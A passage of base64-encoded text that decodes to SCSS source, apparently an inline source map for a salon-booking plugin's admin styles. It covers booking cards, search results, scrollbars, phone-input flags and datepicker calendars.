TVweDtcbiAgLy9saW5lLWhlaWdodDogMWVtO1xuICBmb250LXdlaWdodDogNjAwO1xufVxuI2NhcmRfcHJlbm90YXppb25lIHAuY2FyZF92YWx1ZS5jYXJkX2N1c3RvbWVyX25hbWUge1xuICBjb2xvcjogIzAwMDAwMDtcbiAgZm9udC13ZWlnaHQ6IDcwMDtcbiAgZm9udC1zaXplOiAxNXB4O1xufVxuI2NhcmRfcHJlbm90YXppb25lIHAuY2FyZF9sYWJlbCB7XG4gIGNvbG9yOiAjOWRhY2I3O1xuICBmb250LXNpemU6IDE0cHg7XG4gIGZvbnQtd2VpZ2h0OiBsaWdodGVyO1xufVxuI2NhcmRfcHJlbm90YXppb25lIHAubm9tZV9zZXJ2aXppbyB7XG4gIGJhY2tncm91bmQ6ICNjMGM0YzY7XG4gIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNTBweDtcbiAgLW1vei1ib3JkZXItcmFkaXVzOiA1MHB4O1xuICBib3JkZXItcmFkaXVzOiA1MHB4O1xuICBtYXJnaW4tcmlnaHQ6IDEwcHg7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgcGFkZGluZzogNXB4IDIwcHg7XG4gIGNvbG9yOiAjZjBmMGYwO1xuICBmb250LXNpemU6IDE2cHg7XG4gIG1hcmdpbi1ib3R0b206IC0zcHg7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgcC5ub21lX2Fzc2lzdGVudGUge1xuICB0ZXh0LWFsaWduOiBsZWZ0O1xuICBmb250LXNpemU6IDE1cHg7XG4gIGNvbG9yOiAjODM5MDk3O1xuICBwYWRkaW5nLWxlZnQ6IDEwcHg7XG59XG5cbiNjYXJkX3ByZW5vdGF6aW9uZSBwLnNlY29uZGFyeSB7XG4gIGNvbG9yOiAjMDA0MjU4O1xuICBvcGFjaXR5OiAwLjE7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgcC5tYWluIHtcbiAgYmFja2dyb3VuZDogIzAwMzU1MztcbiAgY29sb3I6ICNmZmY7XG4gIC8vbWFyZ2luLXJpZ2h0OiAxOSU7XG4gIC13ZWJraXQtYm9yZGVyLXJhZGl1czogM3B4O1xuICAtbW96LWJvcmRlci1yYWRpdXM6IDNweDtcbiAgYm9yZGVyLXJhZGl1czogM3B4O1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIC8vcGFkZGluZzogOHB4IDI3cHg7XG4gIG1pbi1oZWlnaHQ6IDIuNXJlbTtcbiAgbWluLXdpZHRoOiA4cmVtO1xufVxuI2NhcmRfcHJlbm90YXppb25lIHAubWFpbiBhLmV2ZW50IHtcbiAgY29sb3I6ICNmZmY7XG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgd2lkdGg6IGF1dG87XG4gIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xufVxuI2NhcmRfcHJlbm90YXppb25lIHAubWFpbjpob3ZlciB7XG4gIGJhY2tncm91bmQ6ICMwYzY0ODE7XG59XG5cbi8qIGZpbmUgKi9cblxuLnNsbi1jYWxlbmRhci1zZWFyY2gtcmVzdWx0cy1saXN0MjUge1xuICBvcGFjaXR5OiAxO1xuICBib3gtc2hhZG93OiAwIDRweCA0cHggMCByZ2JhKGFkbWluX2NvbmZpZy4kY2xfZF9fZGFya2VzdCwgMC4yNSk7XG4gIHBhZGRpbmctcmlnaHQ6IDA7XG4gIG92ZXJmbG93LXk6IGhpZGRlbjtcbiAgbWF4LWhlaWdodDogMjQuNXJlbTtcbiAgLmV2ZW50LWxpc3Qge1xuICAgIG1pbi1oZWlnaHQ6IDNyZW07XG4gICAgbWF4LWhlaWdodDogMjEuNXJlbTtcbiAgICBwYWRkaW5nLXJpZ2h0OiAyLjVyZW07XG4gICAgb3ZlcmZsb3cteTogc2Nyb2xsO1xuXG4gICAgLyogU3RhbmRhcmRpemVkIHNjcm9sbGJhciBwcm9wZXJ0aWVzIGZvciBGaXJlZm94IGFuZCBtb2Rlcm4gYnJvd3NlcnMgKi9cbiAgICBzY3JvbGxiYXItd2lkdGg6IHRoaW47XG4gICAgc2Nyb2xsYmFyLWNvbG9yOiAjYzFjMWMxICNmMWYxZjE7XG5cbiAgICAvKiBXZWJLaXQgc2Nyb2xsYmFyIHN0eWxpbmcgZm9yIENocm9tZSwgU2FmYXJpLCBFZGdlICovXG4gICAgJjo6LXdlYmtpdC1zY3JvbGxiYXIge1xuICAgICAgd2lkdGg6IDAuNXJlbTtcbiAgICB9XG5cbiAgICAmOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7XG4gICAgICBiYWNrZ3JvdW5kOiAjZjFmMWYxO1xuICAgICAgYm9yZGVyLXJhZGl1czogMC4yNXJlbTtcbiAgICB9XG5cbiAgICAmOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG4gICAgICBiYWNrZ3JvdW5kOiAjYzFjMWMxO1xuICAgICAgYm9yZGVyLXJhZGl1czogMC4yNXJlbTtcblxuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGJhY2tncm91bmQ6ICNhMWExYTE7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zZWFyY2gtcmVzdWx0IHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgcGFkZGluZzogMS41cmVtIDAgMS4ycmVtIDA7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1saWdodC0yO1xuICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCByZ2JhKGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1saWdodC0tZXZpZCwgMC40KTtcbiAgICBmb250LXNpemU6IDFyZW07XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1saWdodC0tZXZpZDtcbiAgICAvLyAuc2VhcmNoLXJlc3VsdF9fYmxvY2sge1xuICAgIC8vIH1cbiAgICAuc2VhcmNoLXJlc3VsdF9fYmxvY2sge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBnYXA6IDFyZW07XG4gICAgICAmLnNlYXJjaC1yZXN1bHRfX2RldGFpbHMge1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuICAgICAgfVxuICAgIH1cbiAgICAuc2VhcmNoLXJlc3VsdF9faWQsXG4gICAgLnNlYXJjaC1yZXN1bHRfX2N1c3RvbWVyLFxuICAgIC5zZWFyY2gtcmVzdWx0X19hbW91bnQge1xuICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTtcbiAgICB9XG4gICAgLnNlYXJjaC1yZXN1bHRfX2lkIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tZGFya2VzdDtcbiAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgfVxuICAgIC5zZWFyY2gtcmVzdWx0X19jdXN0b21lci1pbmZvIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgICAgZ2FwOiAwLjI1cmVtO1xuICAgIH1cbiAgICAuc2VhcmNoLXJlc3VsdF9fY3VzdG9tZXItbmFtZSB7XG4gICAgICBmb250LXNpemU6IDEuMTI1cmVtO1xuICAgICAgbGluZS1oZWlnaHQ6IDEuMztcbiAgICB9XG4gICAgLnNlYXJjaC1yZXN1bHRfX3Nob3AtbmFtZSB7XG4gICAgICBmb250LXNpemU6IDAuODc1cmVtO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1saWdodDtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjI7XG4gICAgICBvcGFjaXR5OiAwLjc1O1xuICAgIH1cbiAgICAuc2VhcmNoLXJlc3VsdF9fc3RhdHVzIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgZ2FwOiAwLjVyZW07XG4gICAgfVxuICAgIC5zZWFyY2gtcmVzdWx0X19zdGF0dXMtaW5kaWNhdG9yIHtcbiAgICAgIHdpZHRoOiAwLjYyNXJlbTtcbiAgICAgIGhlaWdodDogMC42MjVyZW07XG4gICAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgICBmbGV4LXNocmluazogMDtcbiAgICB9XG4gICAgLnNlYXJjaC1yZXN1bHRfX3N0YXR1cy1sYWJlbCB7XG4gICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICBsaW5lLWhlaWdodDogMS4yO1xuICAgIH1cbiAgICAuc2xuLWJ0bi0tY2FsZW5kYXItdmlldy0tcGlsbCB7XG4gICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDVweCk7XG4gICAgICBwYWRkaW5nOiAwIDJyZW07XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6XG4gICAgICAgIG1pbm1heCg4MHB4LCBhdXRvKVxuICAgICAgICBtaW5tYXgoMTQwcHgsIDFmcilcbiAgICAgICAgbWlubWF4KDIwMHB4LCAxLjVmcilcbiAgICAgICAgbWlubWF4KDEwMHB4LCAwLjhmcilcbiAgICAgICAgYXV0bztcbiAgICAgIGdhcDogMS41cmVtO1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICB9XG4gIH1cbn1cbi5zZWFyY2gtcmVzdWx0LWNvbnRlbnQge1xuICBtaW4taGVpZ2h0OiAxMDAlO1xuICAvL2JhY2tncm91bmQ6ICNmMGYwZjA7XG4gIC8vLXdlYmtpdC1ib3gtc2hhZG93OiAxcHggN3B4IDJweCAtMXB4ICNkM2QzZDM7XG4gIC8vYm94LXNoYWRvdzogMXB4IDdweCAycHggLTFweCAjZDNkM2QzO1xuICBtYXJnaW4tYm90dG9tOiAwO1xuICBwYWRkaW5nOiAxMHB4IDAgNXB4IDA7XG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX2RfbWFpbi0tZDE7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbGlnaHQtMjtcbn1cblxuQC13ZWJraXQta2V5ZnJhbWVzIHdhaXQge1xuICAwJSB7XG4gICAgLW1vei10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICB9XG4gIDEwMCUge1xuICAgIC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgfVxufVxuXG5Aa2V5ZnJhbWVzIHdhaXQge1xuICAwJSB7XG4gICAgLW1vei10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICB9XG4gIDEwMCUge1xuICAgIC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgfVxufVxuXG4ucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fc2VydmljZVxuICAuc2xuLWlubGluZS1lZGl0LXNlcnZpY2UtZmllbGRzXG4gIC5yb3cge1xuICBtYXJnaW4tdG9wOiAyMHB4O1xufVxuXG4ucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fc2VydmljZVxuICAuc2xuLWlubGluZS1lZGl0LXNlcnZpY2UtZmllbGRzXG4gIC50aXRsZSB7XG4gIGRpc3BsYXk6IGJsb2NrO1xufVxuXG4ucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fc2VydmljZVxuICAuc2xuLWlubGluZS1lZGl0LXNlcnZpY2UtZmllbGRzXG4gIC50aXRsZS1pbmxpbmUge1xuICBkaXNwbGF5OiBpbmxpbmU7XG4gIG1hcmdpbi1yaWdodDogNXB4O1xuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXBheS10aG91c2FuZC1zZXBhcmF0b3Itb3B0aW9uID4gbGFiZWwge1xuICBwYWRkaW5nLXJpZ2h0OiAwO1xufVxuXG4vLyAjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJveC0tb25saW5lLXBheW1lbnQgLnNsbi1zd2l0Y2gsXG4vLyAjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJveC0tb25saW5lLXBheW1lbnQgLnNsbi1ib3gtbWFpbmluZm8ge1xuLy8gXHQvL21hcmdpbi1ib3R0b206IDA7XG4vLyB9XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tY2FsYy10b3RhbC1sb2FkaW5nIHtcbiAgbWFyZ2luLWxlZnQ6IDEwcHg7XG59XG5cbkBmb250LWZhY2Uge1xuICBmb250LWZhbWlseTogJ01hdGVyaWFsIEljb25zJztcbiAgZm9udC1zdHlsZTogbm9ybWFsO1xuICBmb250LXdlaWdodDogNDAwO1xuICBzcmM6IHVybChodHRwczovL2ZvbnRzLmdzdGF0aWMuY29tL3MvbWF0ZXJpYWxpY29ucy92NDgvZmxVaFJxNnR6WmNsUUVKLVZkZy1JdWlhRHNOY0loUTh0US53b2ZmMilcbiAgICBmb3JtYXQoJ3dvZmYyJyk7XG59XG5cbi5zbG4tc3RhZmYtbWVtYmVyLWFzc2lnbmVkLWJvb2tpbmdzLW9ubHktLWFsZXJ0IHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBwYWRkaW5nOiAxMHB4IDAgMTBweCA1MHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTtcbiAgbWFyZ2luLXRvcDogOXB4O1xuICBib3JkZXItbGVmdDogc29saWQgM3B4ICMwMjc3YmQ7XG4gIGJhY2tncm91bmQtY29sb3I6ICNmOGY4Zjg7XG59XG4vKiBGSVggMDkyMDIzXG4uc2xuLXN0YWZmLW1lbWJlci1hc3NpZ25lZC1ib29raW5ncy1vbmx5LS1hbGVydDpiZWZvcmUge1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgZm9udC1zaXplOiAyZW07XG4gICAgbGluZS1oZWlnaHQ6IDA7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIGNvbnRlbnQ6IFwibm90aWZpY2F0aW9uc1wiO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDQ4JTtcbiAgICBsZWZ0OiAxNXB4O1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICBjb2xvcjogIzAyNzdiZDtcbn1cblxuLnNsbi1zdGFmZi1tZW1iZXItYXNzaWduZWQtYm9va2luZ3Mtb25seS0tYWxlcnQgLmljb24ge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZWQ7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgd2lkdGg6IDEwcHg7XG4gICAgaGVpZ2h0OiAxMHB4O1xuICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7XG4gICAgbGVmdDogMTVweDtcbiAgICB0b3A6IDQ4JTtcbn1cbiovXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXN0YWZmLW1lbWJlci1hc3NpZ25lZC1ib29raW5ncy1vbmx5LS1hbGVydCBwIHtcbiAgY29sb3I6ICMzYzQzNGE7XG4gIGZvbnQtc2l6ZTogMTVweDtcbiAgbGluZS1oZWlnaHQ6IDEuNWVtO1xuICBmb250LXdlaWdodDogNjAwO1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zdGFmZi1tZW1iZXItYXNzaWduZWQtYm9va2luZ3Mtb25seS0tYWxlcnQgcCBhIHtcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG4gIHRleHQtZGVjb3JhdGlvbi10aGlja25lc3M6IDNweDtcbn1cblxuLnNsbi1hdHRlbmRhbnQtZW1haWwtYmxvY2sgLnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdyB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYXR0ZW5kYW50LWVtYWlsLWJsb2NrIC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIHtcbiAgYm9yZGVyOiAxcHggc29saWQgI2M3ZGZmMztcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1hdHRlbmRhbnQtZW1haWwtYmxvY2tcbiAgLnNlbGVjdDItY29udGFpbmVyXG4gIC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlXG4gIC5zZWxlY3QyLXNlbGVjdGlvbl9fY2xlYXIge1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHJpZ2h0OiAxNXB4O1xufVxuXG4uaXRpIHtcbiAgZGlzcGxheTogYmxvY2s7XG59XG5cbi8vICNzbG4tc2Fsb24tLWFkbWluIC5zbG4taW5wdXQtLXNpbXBsZSAjc2Fsb25fc2V0dGluZ3Nfc21zX3ByZWZpeCB7XG4vLyBcdHBhZGRpbmctbGVmdDogNXJlbTtcbi8vIH1cblxuLy8gI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1pbnB1dC0tc2ltcGxlICNfc2xuX2Jvb2tpbmdfcGhvbmUge1xuLy8gXHRwYWRkaW5nLWxlZnQ6IDUwcHg7XG4vLyB9XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4taW5wdXQtLXNpbXBsZSAuaXRpIC5pdGlfX3NlbGVjdGVkLWZsYWcge1xuICBjb2xvcjogIzAwMzU1MztcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWlucHV0LS1zaW1wbGUgLml0aV9fYXJyb3cge1xuICBib3JkZXItdG9wOiA0cHggc29saWQgIzAwNDI1ODtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4taW5wdXQtLXNpbXBsZSAuaXRpX19hcnJvdy0tdXAge1xuICBib3JkZXItdG9wOiBub25lO1xuICBib3JkZXItYm90dG9tOiA0cHggc29saWQgIzAwNDI1ODtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4taW5wdXQtLXNpbXBsZSAuaXRpX19zZWxlY3RlZC1mbGFnOmFmdGVyIHtcbiAgY29udGVudDogJyAnO1xuICBkaXNwbGF5OiBibG9jaztcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB0b3A6IDA7XG4gIHJpZ2h0OiAwO1xuICBib3R0b206IDA7XG4gIGxlZnQ6IDA7XG4gIG9wYWNpdHk6IDAuMjU7XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWlucHV0LS1zaW1wbGUgLml0aV9fc2VsZWN0ZWQtZmxhZzphZnRlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICMwMDQyNTg7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5pdGkgLml0aV9fc2VsZWN0ZWQtZmxhZyB7XG4gIGNvbG9yOiAjMDAzNTUzO1xuICBmb250LXdlaWdodDogYm9sZDtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5pdGlfX2Fycm93IHtcbiAgYm9yZGVyLXRvcDogNHB4IHNvbGlkICMwMDQyNTg7XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuaXRpX19hcnJvdy0tdXAge1xuICBib3JkZXItdG9wOiBub25lO1xuICBib3JkZXItYm90dG9tOiA0cHggc29saWQgIzAwNDI1ODtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5pdGlfX3NlbGVjdGVkLWZsYWc6YWZ0ZXIge1xuICBjb250ZW50OiAnICc7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHRvcDogMDtcbiAgcmlnaHQ6IDA7XG4gIGJvdHRvbTogMDtcbiAgbGVmdDogMDtcbiAgb3BhY2l0eTogMC4yNTtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5pdGlfX3NlbGVjdGVkLWZsYWc6YWZ0ZXIge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA0MjU4O1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuZGF5Om5vdCguZGlzYWJsZWQpOmhvdmVyLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmRheS5hY3RpdmU6bm90KC5kaXNhYmxlZCksXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnByZXY6aG92ZXIsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLm5leHQ6aG92ZXIsXG4uc2xuLWRhdGV0aW1lcGlja2VyIC5wcmV2OmhvdmVyLFxuLnNsbi1kYXRldGltZXBpY2tlciAubmV4dDpob3ZlciB7XG4gIGNvbG9yOiAjZmZmO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuZGF5IHtcbiAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgYm9yZGVyLXdpZHRoOiAxcHg7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5kYXk6bm90KC5kaXNhYmxlZCk6aG92ZXIsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuZGF5LmFjdGl2ZTpub3QoLmRpc2FibGVkKTpob3ZlcixcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAucHJldjpob3ZlcixcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAubmV4dDpob3Zlcixcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLnByZXY6aG92ZXIsXG4uc2xuLWRhdGV0aW1lcGlja2VyIC5uZXh0OmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzAwOTFlYTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmRheTpub3QoLmRpc2FibGVkKSB7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgdGQsXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgdGgsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuZGF5IHtcbiAgZm9udC1zaXplOiAxZW07XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAuZm9ybS1jb250cm9sW3JlYWRvbmx5XSB7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXIgLnNsbl9kYXRlcGlja2VyIC5zd2l0Y2gge1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXIgLnNsbl9kYXRlcGlja2VyIC5wcmV2LFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXIgLnNsbl9kYXRlcGlja2VyIC5uZXh0LFxuLnNsbi1kYXRldGltZXBpY2tlciAucHJldixcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLm5leHQge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBwYWRkaW5nOiAwO1xufVxuLyogRklYIDA5MjAyM1xuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAgIC5zbG5fZGF0ZXBpY2tlclxuICAgIC5wcmV2OmJlZm9yZSxcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLnByZXY6YmVmb3JlLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAgIC5zbG5fZGF0ZXBpY2tlclxuICAgIC5uZXh0OmJlZm9yZSxcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLm5leHQ6YmVmb3JlIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICBmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgIGxldHRlci1zcGFjaW5nOiBub3JtYWw7XG4gICAgdGV4dC10cmFuc2Zvcm06IG5vbmU7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgd29yZC13cmFwOiBub3JtYWw7XG4gICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIG